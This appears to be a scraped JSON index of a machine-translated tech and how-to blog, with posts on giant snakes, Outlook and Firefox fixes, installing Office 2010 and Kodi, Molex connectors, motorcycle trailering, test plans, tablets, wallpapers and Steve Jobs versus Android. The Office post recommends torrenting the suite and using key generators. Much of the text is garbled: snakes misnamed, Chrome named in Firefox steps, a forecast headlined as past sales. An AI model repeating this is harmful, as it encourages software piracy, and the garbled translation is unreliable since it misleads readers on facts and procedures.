profitability.\nncG1vNJzZmismaXArq3KnmWcp51kgm7AyKmqZp6fp3qku82sq6utk6m2sLqMm6ydn5Wpeq6tzZqenqWVo8E%3D\n","link":"/post/5-tips-for-construction-budget-management/","section":"post","tags":null,"title":"5 Tips for Construction Budget Management"},{"body":"Over millions of years of survival, many snakes have grown into giants to suit natural habitats. Here are 10 giant python species in the world, their size and weight surprised many people.\nScary nape with the largest mouse hunting screen in the world of the \"beast\" giant Anaconda How big is the biggest snake ever recorded? Green Python Anaconda - Eunectes murinus\n  \nGreen Anaconda, also known as South American python, is a giant snake genus that lives in the Amazon, South America basin. Adults can reach 9 meters long and weigh 250 kg. Their oversized size is only poor in body length, with only one species being Asian python.\nBurmese Python - Python bivittatus\n  \nBurmese Python is one of the six largest snakes in the world, and is native to tropical and subtropical regions of South Asia and Southeast Asia. They are often found in areas near rivers and lakes or in deep forests.\nThe average length of a Burmese python is 3.7 meters, females are always larger than males. But in history, people have discovered individuals up to 5.74 meters long in the state of Illinois (USA) 27 years ago.\nPython reticulatus - Python reticulatus\n  \nPythons can also be used with other names such as Python, python of Asia. They often live in tropical forests, warm places, near water sources in Southeast Asia and were first discovered in 1801.\nThe head of the python is small, long, light yellow or brown. On the body they have a dark gray streak running along the spine to form a floating eye shape on a yellow-brown background. This mature python species may have the longest body size of the snake family but they are quite slender and very agile.\nPythons are very good swimmers but most of the time during the day they sleep on trees.\nAfrican python - P. natalensis\n  \nThis is considered the largest, strongest snake in Africa and lives in most parts of the region from the desert to areas near the water source. As an adult, an African python can be more than 7m long. This python is very aggressive and lustful, they are ready to attack everything that is moving ahead.\nPython Indian - Python molurus\n  \nIndian pythons live mainly in tropical and subtropical regions of South Asia and Southeast Asia. They have an average body length of 3 meters. Indian python is quite gentle. Their food is rodents, some birds and reptiles.\nIt was once recorded that an Indian python could starve for two years after eating its prey.\nMorelia amethistina - Morelia amethistina\n  \nThis is the largest native snake in Australia. The name of this species comes from their body color, purple jade, very recognizable.\nThis snake can reach a maximum size of 8.5 meters. The world's largest length of purple jade snake was measured in 7.2 meters in 1954.\nBoa constrictor - Boa constrictor\n  \nPrey is a member of the python family of South America, often living in North, Central, South America and some Caribbean islands. Mature adult pythons are between 2.1 and 3m for females and 1.8 to 2.4m for males, averaging about 45kg.\nPython Golden Anaconda - Eunectes notaeus\n  \nThis giant python is an endemic species of South America, which often lives in water or wetlands. Mature adult Anaconda has an average body size of 3.3-4.4 m long, and weight of 25 - 35 kg. People have spotted a python python Anaconda gold up to 4.6 meters long.\nEunectes deschauenseei - Black anaconda black\n  \nThis python usually lives in South America, Northeast Brazil. So far, we have very little information about this species because they are rare and hard to find.\nPapua - Apodora papuana\n  \nPapua Pythons are found in New Guinea and Fegusson. When they mature they can be over 5m long but only weigh about 22.5kg. This is a special python, which can change the color of the body when agitated or in the mating season.\nThis python is quite slow and usually hunts at night. Their food is small mammals or even other snakes.\nncG1vNJzZmismaXArq3KnmWcp51ksLPFyKeeZq%2BZqbVufY9mnqKZnql6scXToaanZaOlsqS1xKxkoqZdqbWmedaoqaWc\n","link":"/post/crying-with-10-giant-python-species-in-the-world/","section":"post","tags":null,"title":"Crying with 10 giant python species in the world"},{"body":"After upgrading Windows 10, many users cannot open Outlook and receive an error message:\n\"Không thể khởi chạy Microsoft Outlook. Không mở được Outlook Outlook\nC: UsersRobertDocumentsOutlook FilesRobert.pst \".\n  \nThis error often occurs when users convert Windows login account from Local account to Microsoft account, permission to adjust PST file has been ignored. To fix this error, please refer to the following article of Network Administrator.\n1. Regain access To regain access, you can edit file permissions:\n1. Find the corrupted file.\n2. Right-click the file and select Properties.\n3. Select the Security tab.\n4. Select the Edit button .\n5. Select your User account.\n6. Select permission as Full Control.\n7. Select OK and wait until the dialog box is closed.\n8. Now open your Outlook again.\n  2. Reset all permissions to the User account 1. Browse C: Users .\n2. Right-click the user folder and select Properties.\n3. Select the Security tab.\n4. Confirm User or Group has the right to \"Full Control\" to access the folders:\nSystem your user account Administrators 5. Select Advanced.\n6. In the bottom left corner, select the option Replace all child object permissions entries with permission inheritable từ đối tượng này.\n7. Select OK.\n8. If a warning appears on the screen, click Yes .\n9. Wait until the process is complete. Depending on the number of files in your User folder, the process may take about a few minutes.\n10. After the process is complete, you will be returned to the Properties window. Select OK to close the window.\n  Refer to some of the following articles: All problems with PST, Profile, Add-in . errors on Outlook and how to fix them One more way to fix a crashed Outlook, no response or inactivity Outlook cannot connect to a Gmail account, this is a fix Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJqanJ2jqHqmvtGoqaxllqS%2FbrDEp6CenF2lwLV5xaKjnqtdlrO1sdFmrKmfopaxqrrGZq6ippSkxLR5kGk%3D\n","link":"/post/fix-access-errors-for-denied-pst-files-after-upgrading-windows-10/","section":"post","tags":null,"title":"Fix access errors for denied PST files after upgrading Windows 10"},{"body":"However, sometimes there are also useful pop-ups, such as related to login credentials, captcha, forms. that are accidentally blocked. To solve the problem, you can disable the default pop-up blocker in Firefox for all websites, or apply it on certain websites.\nThis article will show you how to turn off the pop-up blocker in Firefox on computers, iPhones and iPads.\n(Note: The Firefox for Android app doesn't have a pop-up blocker, which means you don't have to do anything to allow this window to show.)\nAllow displaying pop-ups in Firefox on desktop To disable the pop-up blocker in Firefox on a Windows, Mac, Linux, or Chromebook computer, first launch Firefox on your computer.\nIn the Chrome interface that appears, in the top right corner of the screen, click the three horizontal lines button to open the system menu.\n  From the menu that opens, select 'Settings'.\n  On the settings page, in the list on the left, click 'Privacy \u0026amp; Security'.\n  In the corresponding screen that appears on the right, scroll down to the 'Permission' section. Here you look to the bottom and turn off the 'Block Pop-Up Windows' option.\n  Any website can now display a pop-up window when you visit it.\nAllow pop-ups to be displayed on specific web pages As mentioned, sometimes you will also want pop-ups to be allowed on certain websites. In this case, next to the option 'Block Pop-Up Windows' (this option must be enabled), click 'Exceptions' On the corresponding 'Allowed Websites – Pop-Ups' page that opens , enter the full address of the website that you want to allow pop-ups to appear, click 'Allow' and then click 'Save Changes'.\n  Firefox will now allow pop-ups to be displayed on websites you specify, while blocking them on all other sites.\nAllow showing pop-ups in Firefox on iPhone and iPad To allow websites to show pop-ups in Firefox on your iPhone or iPad, first open Firefox on your device.\nIn the application interface that opens, in the bottom right corner of the screen, tap the button with three horizontal lines.\n  From the menu that opens, select 'Settings'.\n  On the 'Settings' page, scroll down and turn off the 'Block Pop-Up Windows' option.\n  Firefox on your iPhone or iPad will no longer block pop-ups on any websites by itself.\nWishing you a successful completion!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmcoby4ec%2Bop66oo2LBsHnBnmSdoaOluaLFxJ1koqZdm7azscWorw%3D%3D\n","link":"/post/how-to-allow-pop-ups-to-be-displayed-in-firefox/","section":"post","tags":null,"title":"How to allow pop-ups to be displayed in Firefox"},{"body":" Do you want to install Office 2010 on your computer, but can't find it at any of your local stores? Maybe the price tag has you reluctant to invest. Either way, you can download Office 2010 from the internet in just a few minutes, either...\nMethod 1of 2:\nDownloading from Microsoft  Visit the Office 2010 download page. Microsoft Office can be legally downloaded from Microsoft's website as long as you have a valid 25-character Product Key. To find it easily, search for 'Using your Office 2010 Product Key'. Office 2010 is no longer available for purchase or as a trial from Microsoft. You can still buy boxed copies from other retailers. Even though it is no longer available to purchase, you can still download it with a valid Product Key   Click the Download button. Enter your Product Key when prompted. Select your language, and enter the CAPTCHA. Your download will begin when you click the Submit button.\n  Wait for your download to finish. The time the download will take will vary based on the Office package you own as well as your internet connection. It will most likely around an hour.\n  Install Office. Once you are finished downloading the Setup file, you can begin installing Office. You will have to enter your Product Key again during the installation process, so keep it handy.\n Method 2of 2:\nDownloading from Other Sources  Find a copy of Office to download from your preferred download site. Office is available on a variety of torrent sites, though this method may have questionable legality.\n  Scan the file for viruses. Always check downloaded software for viruses, as non-traditional methods are ripe for abuse by hackers. Read the comments on the torrent site to see if anyone else encountered problems.\n  Find a product key. In order to install Office 2010, you will need to enter a valid product key. Some downloads will come with a text file containing keys that you can use, while others will have a key generation program that will create a unique key for you to use. Be very wary with key generators, as they can easily install viruses without you knowing.   Install the program like normal. Once you have found a valid key, the rest of the installation will proceed normally. If you have a cracked version installed, you may not be able to access updates for Office from Microsoft.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKahk6e8tLvFrWSonpaesKZ5kWloaQ%3D%3D\n","link":"/post/how-to-download-microsoft-office-2010/","section":"post","tags":null,"title":"How to Download Microsoft Office 2010"},{"body":"When it comes to streaming media, there is no better option than Kodi. It can stream everything from your boxset collection to live TV shows - a far cry from the app's modest start on the original Xbox. Because this is a cross-platform application, you should have no problem installing Kodi on a Linux PC.\nSome Linux archives have included Kodi as part of the package, but not all. Here's how to install Kodi on some of the most popular Linux distributions.\nInstructions for installing Kodi on some popular Linux distributions Install Kodi on Ubuntu Install Kodi on Debian Install Kodi on Fedora Install Kodi on the Arch Install Kodi on Ubuntu Recent versions of Ubuntu include Kodi as part of Ubuntu's default software repository. This means you can install it directly from the terminal without adding new software repositories first. All you have to do is open a terminal window and type:\nsudo apt install kodi  If you're looking for the most recent Kodi releases, you might want to install Kodi from Team Kodi's repository. To do that, enter:\nsudo apt install software-properties-common sudo add-apt-repository ppa:team-xbmc/ppa sudo apt update sudo apt install kodi    If you want the most advanced version of Kodi (like a beta version or a nightly build build), then you'll need the developer repository.\nFollow the instructions above and replace 'ppa: team-xbmc / ppa' with one of two options: 'ppa: team-xbmc / unstable' for beta releases or 'ppa: team-xbmc / xbmc-nightly ' for nightly builds with the latest bug fixes and features.\nYou can also follow these instructions for other versions of Ubuntu, such as Kubuntu, as well as distributions like Linux Mint.\nIf installing with a GUI, you can install Kodi from the snap package using the Ubuntu software catalog. Just open the application menu (bottom left) and type Kodi. You will see Kodi listing a result at the top. Click on it and you will be taken to the software catalog.\n  From there, click Install and Kodi will automatically install.\nInstall Kodi on Debian Ubuntu is based on Debian, so the installation instructions on Debian are quite similar. The simplest method is to use the Kodi version in the main Debian archive, assuming you're running Stretch (Debian version 9) or higher. Open a terminal and enter:\nsudo apt update sudo apt install kodi  These instructions will also work for Raspbian, the Debian-based distribution for Raspberry Pi.\n  If you like the GUI installer, open Synaptic, the GUI for apt, by going to Applications\u0026gt; System Tools\u0026gt; Synaptic Package Manager . Click on 'Search' and start searching for Kodi.\nSelect to install, then click 'Apply'. Next, Synaptic will start the installation.\nInstall Kodi on Fedora Unlike Debian and Ubuntu, there is no Kodi version for Fedora from the official repository. You need to add the RPM Fusion repository first. To do that, open a terminal and enter:\nsudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm  You will also need to edit the configuration for SELinux, which is a part of the Linux kernel. In the terminal, type:\nsudo gedit /etc/selinux/config  Locate the parameter 'SELINUX = enable' and convert 'enable' to 'permissive'. Save, exit and restart after you are done. With the built-in RPM Fusion and SELinux set up, you can now install Kodi. Import:\nsudo dnf install kodi  This step will install Kodi using the latest available package.\nInstall Kodi on the Arch Arch's philosophy is that everything is geared towards customizing the Linux distribution to suit your needs. However, you do not need to dig deep into Arch to install Kodi. Open a terminal and enter:\npacman -Syu pacman -S kodi  This command will install the latest version of Kodi on the device running Arch. An extensive article about Kodi on the Arch Wiki provides tips on supporting and optimizing Kodi on Arch, as well as instructions for compiling Kodi yourself, if you need it. Reference at:\nhttps://wiki.archlinux.org/index.php/Kodi  Once Kodi is installed, you can start to switch to installing the best Kodi add-ons to convert it into the only media center you need. The open source and collaborative nature of Kodi has helped the app attract a lot of fans, but there are some good Kodi alternatives to consider, if this app isn't for you.\nWhich Linux media player do you think is the best? Let everyone know in the comments below!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmoqicmWK8r3nLoqWusA%3D%3D\n","link":"/post/how-to-install-kodi-on-linux/","section":"post","tags":null,"title":"How to install Kodi on Linux"},{"body":" Molex is a company that manufactures a variety of different types of electrical connectors that are used for applications such as computers and electronic devices. Their connectors are sturdy and long-lasting, but they can wear out over...\nRemoving the Connector Pins  Unplug the connector if it's attached to an electrical device. Molex connectors are often used to power electrical boards, computer fans, and disk drives, as well as electronic devices such as video game consoles and RC batteries. If your Molex connector is already plugged into an electrical board or device, turn off the device so there isn't any electricity flowing through the wires. Then, grasp the connector where it's plugged in and firmly pull on it to separate it.[1] You could potentially shock yourself, so make sure the device is turned off. Unplug the main power cord to be extra safe. Don't unplug the connector by pulling on the wires or you could damage them.   Push down on a pin with an extraction tool or screwdriver. Look at the end of the connecter where it plugs into a device for small metal pins that are holding the wires in place. If you have a Molex extraction tool, use it to press down on 1 of the pins through the small slot. If you don't have an extraction tool, use a small flathead screwdriver.[2] Press down on the pin gently to avoid damaging it so you're able to reuse the connector. You can also use a paper clip or even a staple to press down on an individual pin.   Pull on the wire connected to the pin to remove it. While you're holding down the pin with 1 hand, use your other hand to take hold of the wire connected to the pin. Gently tug on the wire to separate it from the pin. Slide the wire all of the way out of the connector.[3] If you're having trouble separating the wire, you may not be holding the pin down to release it. Make sure you've got the pin pressed down. Note: It's important that you keep track of the order of the wires as you remove them from the connector so you can reinstall them correctly. Take a picture of the connector before you remove the pins so you can reference it when you reinstall them.\n Cut off the old connector pin with wire cutters. Take a pair of wire cutters or scissors and locate the base of the connector pin on the end of the wire. Make a clean cut through the base of the connector pin to separate it, and then dispose of it in the garbage.[4]\n  Remove any additional wires that need new pins. If you plan to replace the connector pins on multiple wires, push down on the pins individually and slide them out of the connector. Use your wire cutters to snip off the connector pin from the end of the wires. Keep the wires in order so they're easier to reinstall into a new connector.[5]\n Replacing the Connector Pins Insert a new connector pin into the appropriate slot on a wire crimper. A wire crimper is a handheld tool that drives the connector pins though the wire insulation to securely attach them to the end of a wire. Choose a connector pin that fits onto the wire and slide it into 1 of the slots on the crimper.[6] The crimper has multiple slots, each a different gauge or size. Choose the slot that holds your connector pin snugly. Make sure you choose connector pins that match the type of Molex connector you have so they'll fit into the slots. You can find wire crimpers and connector pins at electronic supply stores, department stores, or by ordering them online. Tip: Look up the Molex connector you have online to find out what type of connector pins it uses so you can replace them.\n Slide the end of the wire into connector pin. Take your wire and push the end of it into the connector pin being held by the crimper. Push the wire into the pin until the end of the wire is even with the end of the pin.[7] Don't push the wire so far that it's sticking out of the other side of the connector pin.  Squeeze the handle of the crimper to attach the pin to the wire. Lightly squeeze the crimper to drive the metal of the pin into the insulation surrounding the wire so it's connected to the actual wire. Open the crimper to remove the wire and gently tug on the connector pin to make sure it's securely attached.[8] Be careful not to squeeze so hard that it damages the connector pin. A gentle, but firm crimp will push the metal of the pin through the insulation just fine.   Push the wire into the correct slot on the connector to reinstall it. Once you've replaced the connector pins, slide the pin into the Molex connector slot until it clicks into place. Give a light tug to make sure it's attached. Make sure you install the wires in the same order they were in when you removed them.[9]\n  Isabella Humphrey Update 02 June 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYympqWdqGKwsLrNnpqtp6I%3D\n","link":"/post/how-to-open-a-molex-connector/","section":"post","tags":null,"title":"How to Open a Molex Connector"},{"body":" A motorcycle tied down incorrectly to your trailer could result in your motorcycle shifting or tipping over during a trip down the highway, or even falling out of your trailer. To keep your motorcycle tied down safely on a trailer during...\nPart 1of 3:\nPicking a Trailer  Pick a trailer that suits your needs. Depending upon how often you plan to move your bike, what kinds of conditions you expect to encounter, how handy you are with tools, and your budget, there are a variety of different trailers that will be appropriate for your purposes.[1] A variety of trailers are made to fit certain models or brands of bikes. Check with your bike retailer for specific trailer suggestions for the model. Renting a trailer is usually the most common option since most companies that provide the equipment usually keep it very well-maintained, and in compliance with federal and state law in terms of registration, plates, and lighting. Size-wise, a 5' X 9' open trailer with a fold-down ramp is ideal for one or two cruisers. It's also good to have tie-down rings in the front corners, on the floor. Some trailers made specifically for motorcycle trailers have very small tires, which bounce uncontrollably as you drive. If the bike is worth towing, use a heftier trailer.   Get a corresponding ramp for the trailer. Measure the wheelbase and the ground clearance of the bike, to make sure you get a ramp that's big enough for your purposes. Most trailers should come with a pull-down ramp, but if you're going to rent one, or try to trailer a bike in your truck, you'll want to be sure it'll work.[2] Wheelbase is measured from the center of the front wheel to the center of the rear wheel of your bike. Ground Clearance is measured from the lowest point of the motorcycle, halfway between the front and rear wheels. You also want to measure the height of the trailer or the truck bed, in which you're trying to load the bike.   Learn the trailer permit laws in your area. Laws vary from state to state, so it's always a good idea to investigate any special permits, laws, rules of the road, or licenses that you might need in order to stay in compliance with local law enforcement. Most rental companies will offer a temporary insurance policy, which may cover only their equipment and which may require you to pay a deductible. Check with your insurance company to see whether the rental insurance will be sufficient, just to be on the safe side.   Make sure you have an appropriate vehicle with a hitch. To pull a trailer with weight up to a ton, you'll need something with rear-wheel drive rated to tow two thousand pounds. Crown Victorias or Chevy Caprices work great. Hitches are rated based on the tongue-weight of different trailers, and you'll need an appropriate hitch for the trailer you use. For motorcycles, Class 1 or 2 hitches are usually fine.[3] Smaller cars can work for smaller trailers, but anything more than a ton needs a heftier vehicle. Trucks and SUVs, from Ford Rangers to Chevy Colorados are usually better than any car. If you're going to tow a much bigger trailer, in excess of two tons, you'll need at least a half-ton truck like an F-150 or a Silverado. a half-ton truck like a Ford F-150 or Chevy Silverado.[4]  Part 2of 3:\nSecuring the Bike  Get some ratchet straps.[5] There are several varieties of these straps but the ratchet type is easier to compress the suspension than the pull strap type, and they are available at most home centers and discount stores. Pay attention to the Working Load Limit of the straps you get and choose a strap that has a working load limit of at least half the weight of your motorcycle. For instance, if your bike weighs 650 pounds, find a strap with a working load limit of at least 325 pounds each. Most one-inch nylon straps will have this rating.   Get a wheel chock for the front of the trailer. A wheel chock is a sturdy material made of metal or hard plastic that is placed around the front wheel of the motorcycle to inhibit it from moving. While the wheel chock is not a requirement to trailer your bike, it certainly makes the chore much easier, especially if you are loading and strapping without the assistance of a friend. If you do not have a chock then park the bike at the very front of the trailer. If there is a rail on the trailer your front tire should be pressed against the rail.   Use the ramp to load the bike. Push the bike up the ramp into the bed of the trailer, placing the front wheel into the wheel chock. Place the front wheel of your motorcycle into the wheel chock.\n  Put the side stand down and attach the straps.[6] A general rule for strapping anything is to attach the straps as high as possible on the bike and as low as possible on the trailer for the greatest holding power. Use an \"X\" pattern for maximum stability. Start with the front left strap (as viewed from a sitting position on the bike). Secure one end of the strap to the trailer and the other to a rigid point on the frame or triple tree. Tighten the front left strap until it is taut. Next, attach the front right strap in the same manner as the front left strap. Since your bike is on the side stand it will be leaning to the left but in the end, we want the bike to be perfectly vertical when secured. You may want to use some soft loops on the motorcycle end of the strap, to protect the bike, then attach the ratchet strap to the soft loop.   Secure the straps to the trailer and ratchet them down.[7] Secure the other hook end of the strap to a secure spot in your truck or trailer, preferably on an angle. Pull the slack out of the strap and ratchet it a few times. Repeat this same process for the right side. Tighten each ratchet strap so that the bike will sit in the upright position on its own. You will notice the bike start moving into a vertical position and your front suspension compressing. Once the bike is vertical you will want to tighten the left and right sides equally until the suspension is completely compressed. Don't strap the handlebars. Most manufacturers say that it's not safe to attach ratchet straps to the handlebars because they are simply not designed to take the pressures that will be exerted by the straps and a bouncy road.   Strap the rear of the bike.[8] Remember to secure the straps rearward of the motorcycle so that the rear straps put counter tension on the front straps, making your bike an immovable fixture on the trailer. Do not tie the straps to guards on saddle bags or trunks as it is likely you will pull the guards off during transit. Again you will want to compress the suspension as you ratchet the straps.  Part 3of 3:\nDriving With a Trailered Bike  Make sure the suspension is compressed. As you ratchet the straps down, you need to make sure the suspension is compressed fully. If it is not compressed it is possible that your straps can come loose as the bike rebounds, bouncing around from bumps and dips in the road.\n  Practice driving around with the trailer attached to your main transport vehicle. You don't want the first time you drive with a trailer to be the first time you've got your prized bike strapped to it, driving at highway speeds in the elements. Practice hooking up your trailer and driving around a bit to get a feel for things.[9] Practice tight corners, driveways, and backing up specifically. Take it for a test run on a highway, at high speed. Get a sense of how you will need to adjust your regular driving habits to accommodate driving with the trailer attached.   Cover the bike with a tarp. After securing the bike to the trailer, use a canvas or vinyl tarp to cover it and keep it safe from the elements, or the cover you use for your motorcycle when you park it. The tarp doesn't need to be doing any load-bearing work, so just tie it firmly down to the straps, or to the bike.\n  Recheck the straps regularly. It's important to go back and check all the straps and make sure they are not rubbing any parts on your bike. Also recheck the tension on the straps. On a longer trip, do a walk around every time you stop and re-check the straps again. It's always best to be on the safe side.\n  Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilratsdFmmGaln6m8s6%2FYnKOe\n","link":"/post/how-to-trailer-a-motorcycle/","section":"post","tags":null,"title":"How to Trailer a Motorcycle"},{"body":"Test plans outline the process of testing the functionality of software. A test plan details each step taken to achieve a certain result and states the objective of each action. The plan also highlights the projected resources, risks, and...\nPart 1of 2:\nPreparing the Test Plan  Know the basics. What you put in your test plan depends largely on the complexity of the software you're planning to test. However, there are three basic sections that should always be included in a test plan: Test Coverage, Test Methods, and Test Responsibilities. Test coverage defines what you will be testing and what you will not. Test methods define how you will be testing each part defined in the 'coverage' section. Test responsibilities assign tasks and responsibilities to different parties. This section should also include what data each party will record and how it will be stored and reported.   Familiarize yourself with necessary IEEE standards documents. The Institute of Electrical and Electronics Engineers (IEEE) publishes international standards for testing and documenting software and system development.[1] To hold your test plan to the highest standard, consult with the IEEE publications below: 29119-1-2013, Software and Systems Engineering - Software Testing - Part 1: Concepts and Definitions[2] 29119-2-2013, Software and Systems Engineering - Software Testing - Part 2: Test Processes[3] 29119-3-2013, Software and Systems Engineering - Software Testing - Part 3: Test Documentation[4] 829-2008, IEEE Standard for Software and System Test Documentation[5] 1008-1987 - IEEE Standard for Software Unit Testing[6]   Consult a template. You can find templates for test plans online. The best source for templates is the IEEE library, but access does cost a fee. The North Carolina Office of Information Technology Services offers an annotated test plan template, based on IEEE 829 standards, here. Dublin City University also offers a free test plan template, based on IEEE 829 standards.  Part 2of 2:\nWriting the Test Plan  Write the introduction. Your introduction functions as the 'executive summary' of the test plan: its goals, its scope, and its schedule. This should be kept brief, as you will go into further detail in subsequent sections of the test plan. Your goals and scope statements should define, in general terms, the methods that will be used in the testing process and the projected results. The scope statement should also include the most critical performance measures, as well as a list of what the test plan will not address, and why.[7] A schedule details the increments of time in which each phase of the test will be completed. Related documents include any peripheral material that is relevant to the current project, such as lists of specifications.   Define your objectives. Your test plan should clearly define what you will test and why you will test it. These should always be based on industry standards.[8][9] Determine what the scope of the test is. What scenarios will be tested? Determine what is out of scope for the test. What scenarios will not be tested? Common scenarios include Module Testing, Integration Testing, Systems/Acceptance Testing, and Beta Testing.   Write a section on required resources. This section describes all of the resources needed to complete the testing, including hardware, software, testing tools, and staff.[10] When accounting for your staff, make sure to detail the responsibilities required of each member and the training needed to execute those responsibilities. Make sure to document the exact specifications of hardware and software.   Write a section on risks and dependencies. Detail all the factors that your project depends on and the risks involved in each step. The level of acceptable risk in your project will help determine what you will and will not test. Consider the likelihood of various risks.[11] You will need to prioritize the critical areas. Be aware of any vague or unclear requirements. Users often lack the expertise to understand technical language or procedures, so user misunderstanding could pose a risk. Use your past 'bug' history to help you identify areas for concern and extra testing.   Write a section on what you are going to test. List what new aspects you will be testing and what old aspects you will be re-testing. Make sure to detail the purpose for each test.[12][13] You can use software application inventories, IEEE guidelines, and other sources to help you determine this list. This section also represents your 'deliverables,' or what data you will deliver to the client once the testing is complete.   Write a section on what you will not be testing. List any features that will not be tested during the current project.[14] Reasons not to test features include: The feature will not be included in this version of the software The feature is low-risk or has been used before without issue   List your strategy. This section outlines the overall test strategy for your test plan. It will specify the rules and processes that will apply to the tests outlined above. Include information on tools to be used, what metrics will be collected and at what level, how many configurations will be tested, and whether there are any special requirements or procedures for testing.   Develop pass/fail criteria. These criteria will guide your testing staff so that they know whether testing objectives have been achieved. This section can also include 'exit criteria,' so that your staff know when it is acceptable to stop testing a certain feature.[15] You should also include a list of suspension criteria and resumption requirements. This information tells testers when to pause tests and what the acceptable level of defect is to resume them.   Write a list of documents that will be produced during testing. Also known as 'deliverables,' these documents are the data, reports, scripts, and results that will be produced by testing.[16] It's a good idea to assign these deliverables to 'owners' who are responsible for their delivery. Assign deadlines by which they are due.   Write a section on the results of your project. Outline all the goals that you hope to achieve during the testing process. Detail who is in charge of final approvals.\n  David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecBmq56rpGK9ra3N\n","link":"/post/how-to-write-a-test-plan/","section":"post","tags":null,"title":"How to Write a Test Plan"},{"body":"According to research firm ABI Research, Apple's iPad tablet computer marks the beginning of a mass production phase of this product line and is estimated that by 2015 there will be 57 million products sold each year. .\nAccording to analyst Jeff Orr, about 4 million products will be exported to the market this year. Apple's iPad is not the first tablet (tablet), but it helps define a new type of device. The main focus of the tablet computer line is for entertainment. The tablet will not replace laptops, netbooks or mobile phones but will be an expensive product line for the wealthy industrial market for at least many years.\nBy definition of ABI Research , Multimedia Tablet requires a 5-11-inch touch screen interface, Wi-Fi internet connection and the ability to watch videos and play games. In addition, other features are added to a number of different multimedia tablets.\n  At the CES 2010 Consumer Electronics Show, which took place in Las Vegas in January, a large number of other tablets were also announced. Major technology companies enter this new field such as traditional computer manufacturers Lenovo, HP and Asus and a number of smaller firms such as ICD and Notion Ink.\nHowever, technology companies in this new field are often quite small and less known but they see the benefits from this new segment. Apple is an exception, a technology firm known for products that have gone down in history like the iPhone. Therefore, Apple will probably gain more advantages in this segment.\nAs a new product, challenges are inevitable. According to analysts, the biggest challenge that multimedia tablets face today is how they approach the market and the perception of potential buyers on this product line.\nTherefore, new companies entering this market will face many disadvantages due to the lack of relationships with retailers and agreements with telecom firms.\nncG1vNJzZmismaXArq3KnmWcp51ktq95kWlobmVlbHqutculoKimXamuo7jErWScp52lwrWx0axksJ2imnq0u8ud\n","link":"/post/in-2015-57-million-tablet-computers-were-sold/","section":"post","tags":null,"title":"In 2015, 57 million tablet computers were sold"},{"body":"Avengers: Infinity War , also known as Superhero Squad : Infinity War , is the third part of the Avengers series. After the first Avengers (2012) and the second part Avenger: Age of Ultron (2015).\nThe film is followed by Marvel's previous blockbuster Thor: Ragnarok and Black Panther. The event occurred when the ship carrying Asgard people encountered Thanos and the kingdom of Wakanda.\n\"Taro name\" Thanos with the ambition of acquiring the entire universe with the power of the Infinity Gloves, he has come to the Earth to search for the infinitely powerful stones before the deterrence of the super squad Avengers heroes along with galaxy galaxy guards (Guardian of the Galaxy) and other superheroes to prevent the ambition of \"purple potato\" Thanos.\nAnd before becoming epic movie scenes on the screen, the Avenger Infinity War also had posters, illustrated screen shots edited by Photoshopers and brought to users the art-filled Wallpaper, If you are a fan of Marvel's superhero series, please refer to the wallpapers in this article.\nCaptain Marvel wallpaper set of high resolution for computers Devil May Cry 5 wallpaper for high quality computers Collection of 50+ unique wallpapers for Samsung S10 / S10 + to help cover \"mole\" camera More than 70+ Avengers: Infinity War wallpapers for computers and laptops Note, under this article, the wallpapers have been resized for your reference, if you want to download more than 70 full wallpapers you can download the link below this article.\n  Avengers Infinity War wallpaper\n  Avengers Infinity War background image\n  Photo Avengers Infinity War\n  Avengers Infinity War 4K wallpaper\n  Avengers Infinity War desktop wallpaper\n  The most beautiful Avengers wallpaper\n  Avengers wallpaper\n  Avengers Infinity War 4K wallpaper\n  Thanos wallpaper\n  The most beautiful Avengers Infinity War wallpaper\n  Avengers Infinity War wallpaper full hd\n  Avengers Infinity War background image\n  Superhero squad squad\n  Infinity war wallpaper\n  Beautiful Avengers Infinity War wallpaper\n  Avengers Infinity War wallpaper full hd\n  Avengers Infinity War wallpaper for laptops\n                    Here are some Avengers Infinity War wallpapers, also known as Superhero Squad: Infinity War, to download the full Avengers Infinity War wallpapers, please visit the link below to download.\nLink to download the wallpaper Infinity Avenger for computers.\nncG1vNJzZmismaXArq3KnmWcp51kurC%2BxGaroZmeYoRxecCvnKeflafAbrXNn6CnoaSuerit0WaumqScpa6xsdGsZLChpJ16qbXGoWSrnaOkubbAyKilZp6fp3qku8yprK2doqh6ra3Praapqw%3D%3D\n","link":"/post/infinity-war-wallpapers-with-high-resolution-for-computers-laptops/","section":"post","tags":null,"title":"Infinity War wallpapers with high resolution for computers, laptops"},{"body":"The two tech giants, Apple and Google, don't like each other, which is almost universally known. The reason is simple because they have many businesses touching each other. Typically, two iOS and Android mobile operating systems are popular with billions of users around the world.\nSteve Jobs, co-founder, president and former chief executive of Apple, when he lived, never intended to cooperate with Android. In Walter Isaacson's Steve Jobs biography, there is a statement of the head of Apple that he will destroy Android until his last breath. Why does Steve Jobs hate Android so much?\nPredrag Vasić, a computer engineer, recounted the relationship between Steve Jobs and Eric Schmidt, a former Google CEO to help us answer this question.\n  Steve Job and Eric Schmidt when they were colleagues (two in the middle).\nIn January 2007, Apple launched the first generation iPhone running iOS. At that time, Steve Jobs and Eric Schmidt had a very good relationship with each other. Even Eric Schmidt was then holding the position of Google CEO and a member of Apple's Board of Directors.\nA year and a half later (in September 2008), the first commercial version of Android 1.0 was released. Steve Jobs said that Android is a completely copied product of iOS and Eric Schmidt is a traitor. By Eric Schmidt as a member of the board of Apple was watching the iPhone prototypes before it was officially announced. Immediately, he saw the potential of the iPhone and decided to build an operating system that looks and works like iOS.\nSteve Jobs was very angry and didn't want the two parties to reconcile. Even during a meeting at a cafe in Palo Alto later, Steve Jobs made strong actions such as banging a table, pointing his face straight and cursing at Google's board of directors. Steve Jobs even decided to focus his full power to destroy Android.\nSteve Jobs stated that: ' Android is a stolen product. I will destroy it. I'm going to take my last breath, spend every penny of Apple's $ 40 billion to fix that mistake. 